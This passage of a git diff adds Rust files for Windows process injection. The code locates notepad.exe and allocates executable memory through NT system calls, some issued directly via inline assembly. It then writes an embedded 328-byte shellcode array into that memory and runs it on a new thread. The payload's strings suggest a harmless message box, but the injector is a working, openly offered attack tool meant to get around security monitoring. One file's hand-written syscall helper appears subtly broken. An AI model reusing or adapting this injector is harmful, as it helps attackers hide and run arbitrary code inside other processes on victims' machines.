0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00]; + + let process_name = "notepad.exe"; + let pid = get_pid(&process_name); + + println!("PID of {}:{}", process_name, pid); + + unsafe{ + if !indirect_syscall_injector(&payload, pid){ + eprintln!("Injection Failed"); + }else{ + println!("Injection Success"); + } + } +} + diff --git a/syscalls/indirect_syscalls/src/tryting_something_nt_works.rs b/syscalls/indirect_syscalls/src/tryting_something_nt_works.rs new file mode 100644 index 0000000..1339610 --- /dev/null +++ b/syscalls/indirect_syscalls/src/tryting_something_nt_works.rs @@ -0,0 +1,146 @@ +use std::arch::asm; +use std::ptr::null_mut; +use std::ffi::CString; +use winapi::um::{ + handleapi::CloseHandle, + libloaderapi::{GetModuleHandleA, GetProcAddress}, + winnt::HANDLE +}; + +// Inline assembly is used for performing syscalls. Requires Rust nightly with inline assembly enabled. +// Add `#![feature(asm)]` at the top of the file. + +fn resolve_syscall(function_name: &str) -> (u8, usize) { + // Load the ntdll.dll module + unsafe{ + let h_ntdll = GetModuleHandleA(CString::new("ntdll.dll").unwrap().as_ptr()); + if h_ntdll.is_null() { + panic!("Failed to get handle for ntdll.dll"); + } + + let func_addr = GetProcAddress(h_ntdll, CString::new(function_name).unwrap().as_ptr()); + if func_addr.is_null() { + panic!("Failed to get address for {}", function_name); + } + + // Extract the syscall number (typically at offset +4 from the function address) + let syscall_number = *(func_addr.add(4) as *const u8); + + // Determine the syscall stub address (offset +0x12 is a common location for the syscall instruction) + let syscall_stub = func_addr as usize + 0x12; + + (syscall_number, syscall_stub) + } + +} + +/// Perform a syscall manually using inline assembly +unsafe fn perform_syscall(syscall_number: u8, args: &[usize]) -> usize { + let result: usize; + // Inline assembly for x86_64 architecture + + asm!( + "mov r10, rdx", // Syscalls on Windows use r10 as an additional argument + "syscall", // Perform the syscall + in("rax") syscall_number as usize, // Set syscall number in rax + in("rcx") args[0], // rcx: First argument + in("rdx") args[1], // rdx: Second argument + in("r8") args[2], // r8: Third argument + in("r9") args[3], // r9: Fourth argument + lateout("rax") result, // Store syscall result in rax + options(nostack) // Indicate no stack adjustments + ); + result +} + +pub fn inject_shellcode() { + // Resolve syscalls + let (alloc_syscall, alloc_stub) = resolve_syscall("NtAllocateVirtualMemory"); + let (write_syscall, write_stub) = resolve_syscall("NtWriteVirtualMemory"); + let (create_syscall, create_stub) = resolve_syscall("NtCreateThreadEx"); + + // Allocate memory + let mut alloc_address: *mut u8 = null_mut(); + let alloc_size = 0x1000; + unsafe { + perform_syscall( + alloc_syscall, + &[ + -1isize as usize, // Current process + &mut alloc_address as *mut _ as usize, // Allocated address + 0, // Zero bits + alloc_size, // Allocation size + 0x1000 | 0x2000, // Allocation type + 0x40, // Protection + ], + ); + } + + // Define shellcode + let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00]; + + // Write shellcode into allocated memory + let mut bytes_written = 0; + unsafe { + perform_syscall( + write_syscall, + &[ + -1isize as usize, // Current process + alloc_address as usize, // Target address + shellcode.as_ptr() as usize, // Shellcode buffer + shellcode.len(), // Buffer length + &mut bytes_written as *mut _ as usize, // Bytes written + ], + ); + } + + // Create remote thread to execute the shellcode + let mut h_thread: HANDLE = null_mut(); + unsafe { + perform_syscall( + create_syscall, + &[ + &mut h_thread as *mut _ as usize, // Handle to new thread + 0x1fffff, // Desired access + 0, // Object attributes + -1isize as usize, // Target process + alloc_address as usize, // Start address + 0, // Start parameter + 0, // Create suspended + 0, 0, 0, 0 // Extra arguments + ], + ); + } + + // Wait for thread execution (simplified) + unsafe { + CloseHandle(h_thread); + } +} \ No newline at end of file diff --git a/syscalls/indirect_syscalls/src/using_ntapi.rs b/syscalls/indirect_syscalls/src/using_ntapi.rs new file mode 100644 index 0000000..a34e913 --- /dev/null +++ b/syscalls/indirect_syscalls/src/using_ntapi.rs @@ -0,0 +1,171 @@ +#![allow(non_snake_case)] +use std::ptr::null_mut; +use std::ffi::CString; +use winapi::shared::ntdef::NT_SUCCESS; +use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}; +use winapi::{ctypes::c_void, um::{ + errhandlingapi::GetLastError, handleapi::CloseHandle, libloaderapi::{GetModuleHandleA, GetProcAddress}, memoryapi::VirtualAllocEx, processthreadsapi::OpenProcess, synchapi::WaitForSingleObject, tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}, winnt::THREAD_ALL_ACCESS +}}; + +use ntapi::{ntmmapi::{NtAllocateVirtualMemory, NtWriteVirtualMemory}, ntpsapi::NtCreateThreadEx}; + +// using ntapi's + +const SHELLCODE: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 +]; + +// now to resolve an syscalls + +// to find the pid by its name ! +fn get_pid(process_name: &str) -> u32{ + unsafe{ + let mut pe: PROCESSENTRY32 = std::mem::zeroed(); + pe.dwSize = std::mem::size_of::() as u32; + + let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap.is_null(){ + println!("Error while snapshoting processes : Error : {}",GetLastError()); + std::process::exit(0); + } + + let mut pid = 0; + + let mut result = Process32First(snap, &mut pe) != 0; + + while result{ + + let exe_file = CString::from_vec_unchecked(pe.szExeFile + .iter() + .map(|&file| file as u8) + .take_while(|&c| c!=0) + .collect::>(), + ); + + if exe_file.to_str().unwrap() == process_name { + pid = pe.th32ProcessID; + break; + } + result = Process32Next(snap, &mut pe) !=0; + } + + if pid == 0{ + println!("Unable to get PID for {}: {}",process_name , "PROCESS DOESNT EXISTS"); + std::process::exit(0); + } + + CloseHandle(snap); + pid + } +} + +// indirect_syscalls +fn indirect_syscall_injector(process_name: &str) -> bool { + let pid = get_pid(process_name); + + unsafe { + let h_proc = OpenProcess(0x000F0000 | 0x00100000 | 0xFFFF, 0, pid); + if h_proc.is_null() { + println!("Failed to open process"); + return false; + } + + let mut alloc_address: *mut c_void = null_mut(); + let mut alloc_size = SHELLCODE.len(); + + let status = NtAllocateVirtualMemory( + h_proc, + &mut alloc_address as *mut *mut c_void, + 0, + &mut alloc_size as *mut usize, + MEM_RESERVE | MEM_COMMIT, + PAGE_EXECUTE_READWRITE, + ); + + if !NT_SUCCESS(status) { + eprintln!("NtAllocateVirtualMemory failed with status: {:#X}", status); + CloseHandle(h_proc); + return false; + } + + let mut bytes_written = 0; + let status = NtWriteVirtualMemory( + h_proc, + alloc_address, + SHELLCODE.as_ptr() as *mut c_void, + SHELLCODE.len(), + &mut bytes_written, + ); + + if !NT_SUCCESS(status) { + eprintln!("NtWriteVirtualMemory failed with status: {:#X}", status); + CloseHandle(h_proc); + return false; + } + + let mut h_thread: *mut c_void = null_mut(); + let status = NtCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + null_mut(), + h_proc, + alloc_address, + null_mut(), + false as _, + 0, + 0, + 0, + null_mut(), + ); + + if !NT_SUCCESS(status) { + eprintln!("NtCreateThreadEx failed with status: {:#X}", status); + CloseHandle(h_proc); + return false; + } + + WaitForSingleObject(h_thread, 0xFFFFFFFF); + + // Cleanup + CloseHandle(h_thread); + CloseHandle(h_proc); + } + + true +} + +pub fn using_ntapi_crates() { + let process_name = "notepad.exe"; + + if !indirect_syscall_injector(process_name){ + println!("Injection Failed"); + }else { + println!("Injection Success"); + } +}